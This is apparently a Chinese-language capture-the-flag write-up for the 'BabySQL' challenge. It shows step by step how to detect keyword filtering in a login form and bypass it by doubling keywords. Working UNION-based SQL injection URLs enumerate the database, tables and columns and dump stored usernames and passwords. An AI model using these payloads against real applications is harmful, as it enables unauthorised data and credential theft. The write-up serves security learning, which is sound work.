[极客大挑战 2019]BabySQL
-
考点:
SQL关键字过滤
双拼绕过
-
这道题延续之前的LoveSQL 的解体方法,思路一模一样,但是这道题过滤了许多关键字。比如
union
or
order
by
from
select
等等 -
下面是我做题时总结出来的如何判断某关键字被过滤的办法,比如我们现在判断
or
有没有被过滤check.php?username=-1' ors ;%23&password=1234
-
我在
or
后加了个s
,不管有没有被过滤,都会报错,我们看看它的报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 's ;#' and password='1234'' at line 1
-
我们发现只有
s
了,说明or
被过滤。这个时候我们可以使用双拼绕过check.php?username=-1' oorrs ;%23&password=1234
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'ors ;#' and password='1234'' at line 1
-
同样的方法,我们可以测出很多关键字都被过滤了。得到一份过滤列表之后我们就可以开始正常的注入工作了。
-
首先,通过
order by x
来看看有多少列,到4的时候报错,说明一共3列check.php?username=-1' oorrder bbyy 4 ;%23&password=1234
Unknown column '4' in 'order clause'
-
我们在用
union select 1,2,3
看看页面是否有回显,成功得到两个回显。check.php?username=-1' uunionnion sselectelect 1,2,3;%23&password=1234
-
用
database()
看看数据库叫什么,是geekcheck.php?username=-1' uunionnion sselectelect 1,database(),3;%23&password=1234
-
用
group_concat(table_name) from information_schema.tables where table_schema=database()
来查看数据表名,发现可疑数据表b4bsql
check.php?username=-1' uunionnion sselectelect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database();%23&password=1234
-
用
group_concat(column_name) from information_schema.columns where table_name='b4bsql'
来查看数据表b4bsql
中的字段名check.php?username=-1' uunionnion sselectelect 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql';%23&password=1234
用
group_concat(id,username,password) from b4bsql
来查看内容,成功得到flagcheck.php?username=-1' uunionnion sselectelect 1,database(),group_concat(id,username,passwoorrd) frfromom b4bsql;%23&password=1234
-
参考链接